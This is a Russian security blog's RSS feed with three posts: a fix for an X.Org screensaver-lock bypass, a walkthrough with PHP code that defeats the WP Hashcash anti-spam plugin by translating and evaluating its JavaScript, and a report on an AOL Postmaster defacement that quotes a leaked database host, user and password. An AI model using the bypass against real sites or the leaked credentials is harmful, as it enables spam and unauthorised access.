<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Ars Longa, Vita Brevis » Безопасность</title>
	
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Sat, 19 May 2012 17:55:07 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/sjblog_security" /><feedburner:info uri="sjblog_security" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Исправление проблемы обхода хранителя экрана в X11</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/Rc9Qf181eZ0/</link>
		<comments>http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 12:18:51 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=960</guid>
		<description><![CDATA[Программистов всё больше, а профессионалов всё меньше В X.Org Server 1.11 обнаружена уязвимость, позволяющая через манипуляции с клавиатурой обойти режим блокировки экрана и получить доступ к заблокированному рабочему окружению пользователя. Подробности либо по ссылке выше, либо на OpenNet. Исправление: в файле /usr/share/X11/xkb/compat/xfree86 закомментировать следующие строки: interpret XF86_Ungrab { action = Private(type=0x86, data=&#34;Ungrab&#34;); }; interpret XF86_ClearGrab [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Программистов всё больше, а профессионалов всё меньше</em></h2>
<p>В X.Org Server 1.11 <a href="http://gu1.aeroxteam.fr/2012/01/19/bypass-screensaver-locker-program-xorg-111-and-up/">обнаружена уязвимость</a>, позволяющая через манипуляции с клавиатурой обойти режим блокировки экрана и получить доступ к заблокированному рабочему окружению пользователя.</p>
<p>Подробности либо по ссылке выше, либо на <a href="http://www.opennet.ru/opennews/art.shtml?num=32844">OpenNet</a>.<span id="more-960"></span></p>
<p>Исправление: в файле <code>/usr/share/X11/xkb/compat/xfree86</code> закомментировать следующие строки:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9602">
        <div class="code text" id="p960code2">
&nbsp; &nbsp; interpret XF86_Ungrab {<br />
&nbsp; &nbsp; &nbsp; &nbsp; action = Private(type=0x86, data=&quot;Ungrab&quot;);<br />
&nbsp; &nbsp; };<br />
&nbsp; &nbsp; interpret XF86_ClearGrab {<br />
&nbsp; &nbsp; &nbsp; &nbsp; action = Private(type=0x86, data=&quot;ClsGrb&quot;);<br />
&nbsp; &nbsp; };
        </div>
    </div>
</div>

<p>После чего перезапустить X Server.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/mOcc3n3G0kNCMa2VSp6sOZ9yTLI/0/da"><img src="http://feedads.g.doubleclick.net/~a/mOcc3n3G0kNCMa2VSp6sOZ9yTLI/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/mOcc3n3G0kNCMa2VSp6sOZ9yTLI/1/da"><img src="http://feedads.g.doubleclick.net/~a/mOcc3n3G0kNCMa2VSp6sOZ9yTLI/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=Rc9Qf181eZ0:lyYMjBmkhhI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=Rc9Qf181eZ0:lyYMjBmkhhI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=Rc9Qf181eZ0:lyYMjBmkhhI:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Rc9Qf181eZ0:lyYMjBmkhhI:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/Rc9Qf181eZ0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/960-fix-bypass-screensaver-locker/</feedburner:origLink></item>
		<item>
		<title>Обход плагина WP Hashcash</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/-q-JHhgi0rk/</link>
		<comments>http://blog.sjinks.pro/security/955-bypass-wp-hashcash/#comments</comments>
		<pubDate>Mon, 26 Dec 2011 05:43:11 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Плагины WordPress]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[спам]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=955</guid>
		<description><![CDATA[Не так страшен JavaScript, как его малюют… WP Hashcash — очередной плагин WordPress для борьбы со спамом. Принцип работы основывается на том, что спам-боты не умеют исполнять JavaScript. Идея в том, что если пользователь открыл сайт из браузера, браузер выполнит некоторый хитрый код JavaScript, и реузльтат работы этого скрипта будет передан назад на сервер в качестве доказательства [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/955-bypass-wp-hashcash/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Не так страшен <a href="http://blog.sjinks.pro/tag/javascript/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  JavaScript">JavaScript</a>, как его малюют…</em></h2>
<p><a href="http://wordpress-plugins.feifei.us/hashcash/">WP Hashcash</a> — очередной <a href="http://blog.sjinks.pro/tag/plugin/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  плагин">плагин</a> <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a> для борьбы со спамом. Принцип работы основывается на том, что <a href="http://blog.sjinks.pro/tag/spam/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  спам">спам</a>-боты не умеют исполнять JavaScript. Идея в том, что если пользователь открыл сайт из браузера, браузер выполнит некоторый хитрый код JavaScript, и реузльтат работы этого скрипта будет передан назад на сервер в качестве доказательства «человечности» комментатора.<span id="more-955"></span></p>
<p>Недостаток этого подхода заключается в том, что используемый JavaScript является довольно-таки простым; как следствие, его можно «понять» даже из <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">PHP</a>-скрипта.</p>
<p>Пример кода JavaScript, генерируемого плагином:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9559">
        <div class="code javascript" id="p955code9">
<span class="kw2">function</span> wphc<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> wphc_data <span class="sy0">=</span> <span class="br0">&#91;</span>1850500665<span class="sy0">,</span>1666021931<span class="sy0">,</span>1699898495<span class="sy0">,</span>1648446524<span class="sy0">,</span>2035770162<span class="sy0">,</span>1980447546<span class="sy0">,</span>2018932269<span class="sy0">,</span>956464429<span class="sy0">,</span>890644332<span class="sy0">,</span>956447103<span class="sy0">,</span>890644332<span class="sy0">,</span>973224063<span class="sy0">,</span>890579818<span class="sy0">,</span>761213796<span class="sy0">,</span>1850368808<span class="sy0">,</span>1615687680<span class="sy0">,</span>1750492719<span class="sy0">,</span>756628087<span class="br0">&#93;</span><span class="sy0">;</span> <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span> i<span class="sy0">&lt;</span>wphc_data.<span class="me1">length</span><span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wphc_data<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">=</span>wphc_data<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">^</span><span class="nu0">220336991</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> a <span class="sy0">=</span> <span class="kw2">new</span> Array<span class="br0">&#40;</span>wphc_data.<span class="me1">length</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span> i<span class="sy0">&lt;</span>wphc_data.<span class="me1">length</span><span class="sy0">;</span> i<span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">=</span> String.<span class="me1">fromCharCode</span><span class="br0">&#40;</span>wphc_data<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">&amp;</span> 0xFF<span class="sy0">,</span> wphc_data<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">&gt;&gt;&gt;</span>8 <span class="sy0">&amp;</span> 0xFF<span class="sy0">,</span> wphc_data<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">&gt;&gt;&gt;</span>16 <span class="sy0">&amp;</span> 0xFF<span class="sy0">,</span> wphc_data<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">&gt;&gt;&gt;</span>24 <span class="sy0">&amp;</span> 0xFF<span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw1">eval</span><span class="br0">&#40;</span>a.<span class="me1">join</span><span class="br0">&#40;</span><span class="st0">''</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>Такой JavaScript весьма похож на PHP <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Как следствие, идея обхода плагина заключается в том, чтобы преобразовать JavaScript в PHP и выполнить получившийся PHP-код.</p>
<p>Итак:</p>
<ol>
<li>В PHP нет ключевого слова <code>var</code> (строго говоря, оно там есть, только имеет другое назначение).</li>
<li>В PHP несколько другой синтаксис объявления массива</li>
<li>Идентификаторы в PHP начинаются с доллара</li>
<li>Операция сдвига выглядит как <code>&gt;&gt;</code>, а не <code>&gt;&gt;&gt;</code>.</li>
<li>В PHP нет классов Array, String, но никто не мешает их написать <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
</ol>
<p>Наша задача состоит в преобразовании кода, приведённого выше, в нечто подобное:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p95510">
        <div class="code php" id="p955code10">
<span class="kw2">function</span> wphc<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wphc_data</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span>1850500665<span class="sy0">,</span>1666021931<span class="sy0">,</span>1699898495<span class="sy0">,</span>1648446524<span class="sy0">,</span>2035770162<span class="sy0">,</span>1980447546<span class="sy0">,</span>2018932269<span class="sy0">,</span>956464429<span class="sy0">,</span>890644332<span class="sy0">,</span>956447103<span class="sy0">,</span>890644332<span class="sy0">,</span>973224063<span class="sy0">,</span>890579818<span class="sy0">,</span>761213796<span class="sy0">,</span>1850368808<span class="sy0">,</span>1615687680<span class="sy0">,</span>1750492719<span class="sy0">,</span>756628087<span class="br0">&#41;</span><span class="sy0">;</span> <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="re0">$i</span><span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span> <span class="re0">$i</span><span class="sy0">&lt;</span>count<span class="br0">&#40;</span><span class="re0">$wphc_data</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="re0">$i</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wphc_data</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span><span class="sy0">=</span><span class="re0">$wphc_data</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span>^<span class="nu0">220336991</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$a</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="re0">$i</span><span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span> <span class="re0">$i</span><span class="sy0">&lt;</span>count<span class="br0">&#40;</span><span class="re0">$wphc_data</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="re0">$i</span><span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$a</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span> <span class="sy0">=</span> fromCharCode<span class="br0">&#40;</span><span class="re0">$wphc_data</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span> <span class="sy0">&amp;</span> 0xFF<span class="sy0">,</span> <span class="re0">$wphc_data</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span><span class="sy0">&gt;&gt;</span>8 <span class="sy0">&amp;</span> 0xFF<span class="sy0">,</span> <span class="re0">$wphc_data</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span><span class="sy0">&gt;&gt;</span>16 <span class="sy0">&amp;</span> 0xFF<span class="sy0">,</span> <span class="re0">$wphc_data</span><span class="br0">&#91;</span><span class="re0">$i</span><span class="br0">&#93;</span><span class="sy0">&gt;&gt;</span>24 <span class="sy0">&amp;</span> 0xFF<span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span><span class="kw3">join</span><span class="br0">&#40;</span><span class="st0">&quot;&quot;</span><span class="sy0">,</span> <span class="re0">$a</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>Это достигается таким набором правил <code>str_replace()</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p95511">
        <div class="code php" id="p955code11">
<span class="re0">$x</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; <span class="st_h">'wphc_data'</span> &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'$wphc_data'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'var $'</span> &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'$'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'var '</span> &nbsp; &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'$'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'];'</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">');'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'= ['</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'= array('</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'new Array($wphc_data.length)'</span> <span class="sy0">=&gt;</span> <span class="st_h">'array()'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'$wphc_data.length'</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'count($wphc_data)'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">' i&lt;'</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">' $i&lt;'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'[i]'</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'[$i]'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'i++'</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'$i++'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'&gt;&gt;&gt;'</span> &nbsp; &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'&gt;&gt;'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'a[$i] ='</span> &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'$a[$i] ='</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'String.'</span> &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">''</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st_h">'eval'</span> &nbsp; &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">''</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="st0">&quot;a.join('')&quot;</span> <span class="sy0">=&gt;</span> <span class="st_h">'join(&quot;&quot;, $a)'</span><span class="sy0">,</span><br />
<span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">str_replace</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; <span class="kw3">array_keys</span><span class="br0">&#40;</span><span class="re0">$x</span><span class="br0">&#41;</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="kw3">array_values</span><span class="br0">&#40;</span><span class="re0">$x</span><span class="br0">&#41;</span><span class="sy0">,</span><br />
&nbsp; &nbsp; <span class="re0">$s</span><br />
<span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>При желании правила можно попытаться оптимизировать, но мне было лень — скрипт ломался на коленке за 10 минут.</p>
<p>Реализация функции <code>fromCharCode</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p95512">
        <div class="code php" id="p955code12">
<span class="kw2">function</span> fromCharCode<span class="br0">&#40;</span><span class="re0">$a</span><span class="sy0">,</span> <span class="re0">$b</span><span class="sy0">,</span> <span class="re0">$c</span><span class="sy0">,</span> <span class="re0">$d</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw3">chr</span><span class="br0">&#40;</span><span class="re0">$a</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="kw3">chr</span><span class="br0">&#40;</span><span class="re0">$b</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="kw3">chr</span><span class="br0">&#40;</span><span class="re0">$c</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="kw3">chr</span><span class="br0">&#40;</span><span class="re0">$d</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>После замены результат нужно вычислить при помощи <code>eval()</code>. После чего получим такой результат:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p95513">
        <div class="code javascript" id="p955code13">
<span class="kw2">function</span> wphc_compute<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><span class="kw1">return</span> 43448 <span class="sy0">*</span> 43448 <span class="sy0">+</span> <span class="nu0">75878</span><span class="sy0">;</span> <span class="br0">&#125;</span> wphc_compute<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Как можно заметить, этот код является одновременно и PHP-кодом, и JavaScript-кодом.</p>
<p>Следующий шаг —</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p95514">
        <div class="code php" id="p955code14">
<span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">str_replace</span><span class="br0">&#40;</span><span class="st_h">'wphc_compute();'</span><span class="sy0">,</span> <span class="st_h">''</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw1">eval</span><span class="br0">&#40;</span><span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw1">echo</span> wphc_compute<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Результатом выполнения будет число 1887804582.</p>
<p>Как видим, для обхода такой простой защиты не нужен даже интерпретатор JavaScript <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/955-bypass-wp-hashcash/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/_tmpxnfqEKQ51Y-AZNFXe2CdVSg/0/da"><img src="http://feedads.g.doubleclick.net/~a/_tmpxnfqEKQ51Y-AZNFXe2CdVSg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/_tmpxnfqEKQ51Y-AZNFXe2CdVSg/1/da"><img src="http://feedads.g.doubleclick.net/~a/_tmpxnfqEKQ51Y-AZNFXe2CdVSg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=-q-JHhgi0rk:CJe79XW-ezw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=-q-JHhgi0rk:CJe79XW-ezw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=-q-JHhgi0rk:CJe79XW-ezw:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=-q-JHhgi0rk:CJe79XW-ezw:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/-q-JHhgi0rk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/955-bypass-wp-hashcash/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/955-bypass-wp-hashcash/</feedburner:origLink></item>
		<item>
		<title>AOL Postmaster взломан!</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/hm4HChZroTw/</link>
		<comments>http://blog.sjinks.pro/security/935-aol-postmaster-hacked/#comments</comments>
		<pubDate>Sat, 13 Aug 2011 12:26:58 +0000</pubDate>
		<dc:creator>Wandering Soul</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[AOL]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[взлом]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=935</guid>
		<description><![CDATA[A0L S3RV3RZ R00T3D BY H0DLUM L0LZ! Ибо нефиг себя по-свински вести. В исходнике домашней страницы присутствует такой код: &#60;!-- Z0M6? Congratz! You&#039;ve just discovered AOL priv8 dataZ --&#62; &#60;!-- 3nj0y! --&#62; &#60;!-- [+] /data/servers/postmaster.info.aol.com/ --&#62; &#60;!-- [+] DB Host : dbsmsq-m01.mail.aol.com --&#62; &#60;!-- DB User : grjones --&#62; &#60;!-- DB Passwd : grj123 --&#62; &#60;!-- [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/935-aol-postmaster-hacked/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>A0L S3RV3RZ R00T3D BY H0DLUM L0LZ!</em></h2>
<p>Ибо нефиг себя по-свински вести.</p>
